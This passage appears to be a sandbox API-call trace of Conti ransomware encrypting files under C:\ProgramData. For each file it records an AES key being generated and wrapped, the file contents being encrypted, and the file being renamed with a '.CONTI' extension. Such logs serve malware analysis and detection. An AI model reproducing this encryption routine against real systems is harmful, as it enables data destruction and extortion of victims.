	[0104.964] WriteFile (in: hFile=0x350, lpBuffer=0x17d2fb4*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x4bffe4c, lpOverlapped=0x0 | out: lpBuffer=0x17d2fb4*, lpNumberOfBytesWritten=0x4bffe4c*=0x20c, lpOverlapped=0x0) returned 1
	[0104.966] SetFilePointer (in: hFile=0x350, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0104.966] ReadFile (in: hFile=0x350, lpBuffer=0xda50000, nNumberOfBytesToRead=0x9d0, lpNumberOfBytesRead=0x4bffe6c, lpOverlapped=0x0 | out: lpBuffer=0xda50000*, lpNumberOfBytesRead=0x4bffe6c*=0x9d0, lpOverlapped=0x0) returned 1
	[0104.967] CryptEncrypt (in: hKey=0x17c8270, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xda50000*, pdwDataLen=0x4bffe64*=0x9d0, dwBufLen=0x500000 | out: pbData=0xda50000*, pdwDataLen=0x4bffe64*=0x9e0) returned 1
	[0104.967] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0104.967] WriteFile (in: hFile=0x350, lpBuffer=0xda50000*, nNumberOfBytesToWrite=0x9e0, lpNumberOfBytesWritten=0x4bffe80, lpOverlapped=0x0 | out: lpBuffer=0xda50000*, lpNumberOfBytesWritten=0x4bffe80*=0x9e0, lpOverlapped=0x0) returned 1
	[0104.967] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0104.967] WriteFile (in: hFile=0x350, lpBuffer=0x17d2fa8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4bffe98, lpOverlapped=0x0 | out: lpBuffer=0x17d2fa8*, lpNumberOfBytesWritten=0x4bffe98*=0x8, lpOverlapped=0x0) returned 1
	[0104.967] SetFilePointer (in: hFile=0x350, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0104.967] CloseHandle (hObject=0x350) returned 1
	[0104.967] GetProcessHeap () returned 0x1720000
	[0104.967] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6585ee0
	[0104.968] lstrcpyW (in: lpString1=0x6585ee0, lpString2="C:\\ProgramData\\Microsoft\\Diagnosis\\DownloadedScenarios\\windows.uif_ondemand.xml.inbox" | out: lpString1="C:\\ProgramData\\Microsoft\\Diagnosis\\DownloadedScenarios\\windows.uif_ondemand.xml.inbox") returned="C:\\ProgramData\\Microsoft\\Diagnosis\\DownloadedScenarios\\windows.uif_ondemand.xml.inbox"
	[0104.968] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Diagnosis\\DownloadedScenarios\\windows.uif_ondemand.xml.inbox", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Diagnosis\\DownloadedScenarios\\windows.uif_ondemand.xml.inbox.CONTI") returned="C:\\ProgramData\\Microsoft\\Diagnosis\\DownloadedScenarios\\windows.uif_ondemand.xml.inbox.CONTI"
	[0104.968] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Diagnosis\\DownloadedScenarios\\windows.uif_ondemand.xml.inbox" (normalized: "c:\\programdata\\microsoft\\diagnosis\\downloadedscenarios\\windows.uif_ondemand.xml.inbox"), lpNewFileName="C:\\ProgramData\\Microsoft\\Diagnosis\\DownloadedScenarios\\windows.uif_ondemand.xml.inbox.CONTI" (normalized: "c:\\programdata\\microsoft\\diagnosis\\downloadedscenarios\\windows.uif_ondemand.xml.inbox.conti")) returned 1
	[0104.968] GetProcessHeap () returned 0x1720000
	[0104.968] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6585ee0 | out: hHeap=0x1720000) returned 1
	[0104.968] CryptDestroyKey (hKey=0x17c8270) returned 1
	[0104.968] GetProcessHeap () returned 0x1720000
	[0104.968] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17c7588 | out: hHeap=0x1720000) returned 1
	[0104.968] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x4bffec0, lpCompletionKey=0x4bffec4, lpOverlapped=0x4bffed0, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x4bffec0, lpCompletionKey=0x4bffec4, lpOverlapped=0x4bffed0) returned 1
	[0105.438] CryptGenKey (in: hProv=0x176ba40, Algid=0x6610, dwFlags=0x1, phKey=0x17d48c8 | out: phKey=0x17d48c8*=0x17c8070) returned 1
	[0105.438] CryptExportKey (in: hKey=0x17c8070, hExpKey=0x175e0f0, dwBlobType=0x1, dwFlags=0x0, pbData=0x17d48cc, pdwDataLen=0x4bffe94 | out: pbData=0x17d48cc*, pdwDataLen=0x4bffe94*=0x20c) returned 1
	[0105.439] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Diagnosis\\SoftLanding\\fffd8b5d-0172-4719-a792-b7c76986459d_show.xml" (normalized: "c:\\programdata\\microsoft\\diagnosis\\softlanding\\fffd8b5d-0172-4719-a792-b7c76986459d_show.xml")) returned 0x20
	[0105.439] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Diagnosis\\SoftLanding\\fffd8b5d-0172-4719-a792-b7c76986459d_show.xml" (normalized: "c:\\programdata\\microsoft\\diagnosis\\softlanding\\fffd8b5d-0172-4719-a792-b7c76986459d_show.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0105.439] GetLastError () returned 0x5
	[0105.439] CryptDestroyKey (hKey=0x17c8070) returned 1
	[0105.439] GetProcessHeap () returned 0x1720000
	[0105.439] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17cb8f0 | out: hHeap=0x1720000) returned 1
	[0105.439] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x4bffec0, lpCompletionKey=0x4bffec4, lpOverlapped=0x4bffed0, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x4bffec0, lpCompletionKey=0x4bffec4, lpOverlapped=0x4bffed0) returned 1
	[0105.693] CryptGenKey (in: hProv=0x176ba40, Algid=0x6610, dwFlags=0x1, phKey=0x17d2fb0 | out: phKey=0x17d2fb0*=0x17c8230) returned 1
	[0105.693] CryptExportKey (in: hKey=0x17c8230, hExpKey=0x175e0f0, dwBlobType=0x1, dwFlags=0x0, pbData=0x17d2fb4, pdwDataLen=0x4bffe94 | out: pbData=0x17d2fb4*, pdwDataLen=0x4bffe94*=0x20c) returned 1
	[0105.694] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\IdentityCRL\\production\\temp" (normalized: "c:\\programdata\\microsoft\\identitycrl\\production\\temp")) returned 0x10
	[0105.695] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\IdentityCRL\\production\\temp" (normalized: "c:\\programdata\\microsoft\\identitycrl\\production\\temp"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0105.695] GetLastError () returned 0x5
	[0105.695] CryptDestroyKey (hKey=0x17c8230) returned 1
	[0105.695] GetProcessHeap () returned 0x1720000
	[0105.695] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17405c8 | out: hHeap=0x1720000) returned 1
	[0105.695] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x4bffec0, lpCompletionKey=0x4bffec4, lpOverlapped=0x4bffed0, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x4bffec0, lpCompletionKey=0x4bffec4, lpOverlapped=0x4bffed0) returned 1
	[0106.228] CryptGenKey (in: hProv=0x176ba40, Algid=0x6610, dwFlags=0x1, phKey=0x17d38d0 | out: phKey=0x17d38d0*=0x17c81b0) returned 1
	[0106.228] CryptExportKey (in: hKey=0x17c81b0, hExpKey=0x175e0f0, dwBlobType=0x1, dwFlags=0x0, pbData=0x17d38d4, pdwDataLen=0x4bffe94 | out: pbData=0x17d38d4*, pdwDataLen=0x4bffe94*=0x20c) returned 1
	[0106.229] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Network\\Downloader\\edbres00001.jrs" (normalized: "c:\\programdata\\microsoft\\network\\downloader\\edbres00001.jrs")) returned 0x20
	[0106.229] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Network\\Downloader\\edbres00001.jrs" (normalized: "c:\\programdata\\microsoft\\network\\downloader\\edbres00001.jrs"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374
	[0106.230] GetLastError () returned 0x0
	[0106.230] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x4bffe40 | out: lpFileSize=0x4bffe40*=1310720) returned 1
	[0106.230] SetFilePointer (in: hFile=0x374, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x140000
	[0106.230] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x224, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0106.230] SetEndOfFile (hFile=0x374) returned 1
	[0106.230] SetFilePointer (in: hFile=0x374, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0106.230] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0106.230] WriteFile (in: hFile=0x374, lpBuffer=0x17d38d4*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x4bffe4c, lpOverlapped=0x0 | out: lpBuffer=0x17d38d4*, lpNumberOfBytesWritten=0x4bffe4c*=0x20c, lpOverlapped=0x0) returned 1
	[0106.256] SetFilePointer (in: hFile=0x374, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0106.256] ReadFile (in: hFile=0x374, lpBuffer=0xda50000, nNumberOfBytesToRead=0x140000, lpNumberOfBytesRead=0x4bffe6c, lpOverlapped=0x0 | out: lpBuffer=0xda50000*, lpNumberOfBytesRead=0x4bffe6c*=0x140000, lpOverlapped=0x0) returned 1
	[0106.261] CryptEncrypt (in: hKey=0x17c81b0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xda50000*, pdwDataLen=0x4bffe64*=0x140000, dwBufLen=0x500000 | out: pbData=0xda50000*, pdwDataLen=0x4bffe64*=0x140010) returned 1
	[0106.744] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0106.744] WriteFile (in: hFile=0x374, lpBuffer=0xda50000*, nNumberOfBytesToWrite=0x140010, lpNumberOfBytesWritten=0x4bffe80, lpOverlapped=0x0 | out: lpBuffer=0xda50000*, lpNumberOfBytesWritten=0x4bffe80*=0x140010, lpOverlapped=0x0) returned 1
	[0106.747] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0106.747] WriteFile (in: hFile=0x374, lpBuffer=0x17d38c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4bffe98, lpOverlapped=0x0 | out: lpBuffer=0x17d38c8*, lpNumberOfBytesWritten=0x4bffe98*=0x8, lpOverlapped=0x0) returned 1
	[0106.747] SetFilePointer (in: hFile=0x374, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0106.747] CloseHandle (hObject=0x374) returned 1
	[0106.748] GetProcessHeap () returned 0x1720000
	[0106.748] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17d6408
	[0106.748] lstrcpyW (in: lpString1=0x17d6408, lpString2="C:\\ProgramData\\Microsoft\\Network\\Downloader\\edbres00001.jrs" | out: lpString1="C:\\ProgramData\\Microsoft\\Network\\Downloader\\edbres00001.jrs") returned="C:\\ProgramData\\Microsoft\\Network\\Downloader\\edbres00001.jrs"
	[0106.748] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Network\\Downloader\\edbres00001.jrs", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Network\\Downloader\\edbres00001.jrs.CONTI") returned="C:\\ProgramData\\Microsoft\\Network\\Downloader\\edbres00001.jrs.CONTI"
	[0106.748] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Network\\Downloader\\edbres00001.jrs" (normalized: "c:\\programdata\\microsoft\\network\\downloader\\edbres00001.jrs"), lpNewFileName="C:\\ProgramData\\Microsoft\\Network\\Downloader\\edbres00001.jrs.CONTI" (normalized: "c:\\programdata\\microsoft\\network\\downloader\\edbres00001.jrs.conti")) returned 1
	[0106.748] GetProcessHeap () returned 0x1720000
	[0106.748] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17d6408 | out: hHeap=0x1720000) returned 1
	[0106.748] CryptDestroyKey (hKey=0x17c81b0) returned 1
	[0106.748] GetProcessHeap () returned 0x1720000
	[0106.748] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17e4258 | out: hHeap=0x1720000) returned 1
	[0106.749] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x4bffec0, lpCompletionKey=0x4bffec4, lpOverlapped=0x4bffed0, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x4bffec0, lpCompletionKey=0x4bffec4, lpOverlapped=0x4bffed0) returned 1
	[0106.749] CryptGenKey (in: hProv=0x176ba40, Algid=0x6610, dwFlags=0x1, phKey=0x17c4598 | out: phKey=0x17c4598*=0x17c82f0) returned 1
	[0106.749] CryptExportKey (in: hKey=0x17c82f0, hExpKey=0x175e0f0, dwBlobType=0x1, dwFlags=0x0, pbData=0x17c459c, pdwDataLen=0x4bffe94 | out: pbData=0x17c459c*, pdwDataLen=0x4bffe94*=0x20c) returned 1
	[0106.749] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\customizations.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\customizations.xml")) returned 0x20
	[0106.749] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\customizations.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\customizations.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374
	[0106.750] GetLastError () returned 0x0
	[0106.750] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x4bffe40 | out: lpFileSize=0x4bffe40*=7361) returned 1
	[0106.750] SetFilePointer (in: hFile=0x374, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x1cc1
	[0106.750] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x233, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0106.750] SetEndOfFile (hFile=0x374) returned 1
	[0106.750] SetFilePointer (in: hFile=0x374, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0106.750] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0106.750] WriteFile (in: hFile=0x374, lpBuffer=0x17c459c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x4bffe4c, lpOverlapped=0x0 | out: lpBuffer=0x17c459c*, lpNumberOfBytesWritten=0x4bffe4c*=0x20c, lpOverlapped=0x0) returned 1
	[0106.752] SetFilePointer (in: hFile=0x374, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0106.752] ReadFile (in: hFile=0x374, lpBuffer=0xda50000, nNumberOfBytesToRead=0x1cc1, lpNumberOfBytesRead=0x4bffe6c, lpOverlapped=0x0 | out: lpBuffer=0xda50000*, lpNumberOfBytesRead=0x4bffe6c*=0x1cc1, lpOverlapped=0x0) returned 1
	[0106.752] CryptEncrypt (in: hKey=0x17c82f0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xda50000*, pdwDataLen=0x4bffe64*=0x1cc1, dwBufLen=0x500000 | out: pbData=0xda50000*, pdwDataLen=0x4bffe64*=0x1cd0) returned 1
	[0106.752] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0106.753] WriteFile (in: hFile=0x374, lpBuffer=0xda50000*, nNumberOfBytesToWrite=0x1cd0, lpNumberOfBytesWritten=0x4bffe80, lpOverlapped=0x0 | out: lpBuffer=0xda50000*, lpNumberOfBytesWritten=0x4bffe80*=0x1cd0, lpOverlapped=0x0) returned 1
	[0106.753] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0106.753] WriteFile (in: hFile=0x374, lpBuffer=0x17c4590*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4bffe98, lpOverlapped=0x0 | out: lpBuffer=0x17c4590*, lpNumberOfBytesWritten=0x4bffe98*=0x8, lpOverlapped=0x0) returned 1
	[0106.753] SetFilePointer (in: hFile=0x374, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0106.753] CloseHandle (hObject=0x374) returned 1
	[0106.753] GetProcessHeap () returned 0x1720000
	[0106.753] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17d6408
	[0106.753] lstrcpyW (in: lpString1=0x17d6408, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\customizations.xml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\customizations.xml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\customizations.xml"
	[0106.753] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\customizations.xml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\customizations.xml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\customizations.xml.CONTI"
	[0106.753] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\customizations.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\customizations.xml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\customizations.xml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\customizations.xml.conti")) returned 1
	[0106.753] GetProcessHeap () returned 0x1720000
	[0106.754] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17d6408 | out: hHeap=0x1720000) returned 1
	[0106.754] CryptDestroyKey (hKey=0x17c82f0) returned 1
	[0106.754] GetProcessHeap () returned 0x1720000
	[0106.754] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6510f50 | out: hHeap=0x1720000) returned 1
	[0106.754] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x4bffec0, lpCompletionKey=0x4bffec4, lpOverlapped=0x4bffed0, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x4bffec0, lpCompletionKey=0x4bffec4, lpOverlapped=0x4bffed0) returned 1
	[0106.754] CryptGenKey (in: hProv=0x176ba40, Algid=0x6610, dwFlags=0x1, phKey=0x17c47e0 | out: phKey=0x17c47e0*=0x17c8470) returned 1
	[0106.754] CryptExportKey (in: hKey=0x17c8470, hExpKey=0x175e0f0, dwBlobType=0x1, dwFlags=0x0, pbData=0x17c47e4, pdwDataLen=0x4bffe94 | out: pbData=0x17c47e4*, pdwDataLen=0x4bffe94*=0x20c) returned 1
	[0106.754] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\MasterDatastore.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\masterdatastore.xml")) returned 0x20
	[0106.755] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\MasterDatastore.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\masterdatastore.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374
	[0106.755] GetLastError () returned 0x0
	[0106.755] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x4bffe40 | out: lpFileSize=0x4bffe40*=271) returned 1
	[0106.755] SetFilePointer (in: hFile=0x374, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x10f
	[0106.755] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x225, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0106.755] SetEndOfFile (hFile=0x374) returned 1
	[0106.756] SetFilePointer (in: hFile=0x374, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0106.756] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0106.756] WriteFile (in: hFile=0x374, lpBuffer=0x17c47e4*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x4bffe4c, lpOverlapped=0x0 | out: lpBuffer=0x17c47e4*, lpNumberOfBytesWritten=0x4bffe4c*=0x20c, lpOverlapped=0x0) returned 1
	[0106.757] SetFilePointer (in: hFile=0x374, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0106.757] ReadFile (in: hFile=0x374, lpBuffer=0xda50000, nNumberOfBytesToRead=0x10f, lpNumberOfBytesRead=0x4bffe6c, lpOverlapped=0x0 | out: lpBuffer=0xda50000*, lpNumberOfBytesRead=0x4bffe6c*=0x10f, lpOverlapped=0x0) returned 1
	[0106.757] CryptEncrypt (in: hKey=0x17c8470, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xda50000*, pdwDataLen=0x4bffe64*=0x10f, dwBufLen=0x500000 | out: pbData=0xda50000*, pdwDataLen=0x4bffe64*=0x110) returned 1
	[0106.757] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0106.757] WriteFile (in: hFile=0x374, lpBuffer=0xda50000*, nNumberOfBytesToWrite=0x110, lpNumberOfBytesWritten=0x4bffe80, lpOverlapped=0x0 | out: lpBuffer=0xda50000*, lpNumberOfBytesWritten=0x4bffe80*=0x110, lpOverlapped=0x0) returned 1
	[0106.757] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0106.758] WriteFile (in: hFile=0x374, lpBuffer=0x17c47d8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4bffe98, lpOverlapped=0x0 | out: lpBuffer=0x17c47d8*, lpNumberOfBytesWritten=0x4bffe98*=0x8, lpOverlapped=0x0) returned 1
	[0106.758] SetFilePointer (in: hFile=0x374, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0106.758] CloseHandle (hObject=0x374) returned 1
	[0106.758] GetProcessHeap () returned 0x1720000
	[0106.758] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17d6408
	[0106.758] lstrcpyW (in: lpString1=0x17d6408, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\MasterDatastore.xml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\MasterDatastore.xml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\MasterDatastore.xml"
	[0106.758] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\MasterDatastore.xml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\MasterDatastore.xml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\MasterDatastore.xml.CONTI"
	[0106.758] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\MasterDatastore.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\masterdatastore.xml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\MasterDatastore.xml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\masterdatastore.xml.conti")) returned 1
	[0106.758] GetProcessHeap () returned 0x1720000
	[0106.758] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17d6408 | out: hHeap=0x1720000) returned 1
	[0106.758] CryptDestroyKey (hKey=0x17c8470) returned 1
	[0106.758] GetProcessHeap () returned 0x1720000
	[0106.758] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x181d648 | out: hHeap=0x1720000) returned 1
	[0106.758] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x4bffec0, lpCompletionKey=0x4bffec4, lpOverlapped=0x4bffed0, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x4bffec0, lpCompletionKey=0x4bffec4, lpOverlapped=0x4bffed0) returned 1
	[0106.759] CryptGenKey (in: hProv=0x176ba40, Algid=0x6610, dwFlags=0x1, phKey=0x17c5590 | out: phKey=0x17c5590*=0x17c7ef0) returned 1
	[0106.759] CryptExportKey (in: hKey=0x17c7ef0, hExpKey=0x175e0f0, dwBlobType=0x1, dwFlags=0x0, pbData=0x17c5594, pdwDataLen=0x4bffe94 | out: pbData=0x17c5594*, pdwDataLen=0x4bffe94*=0x20c) returned 1
	[0106.759] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\Prov\\RunTime\\0__Power_EnergyEstimationEngine.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\prov\\runtime\\0__power_energyestimationengine.provxml")) returned 0x20
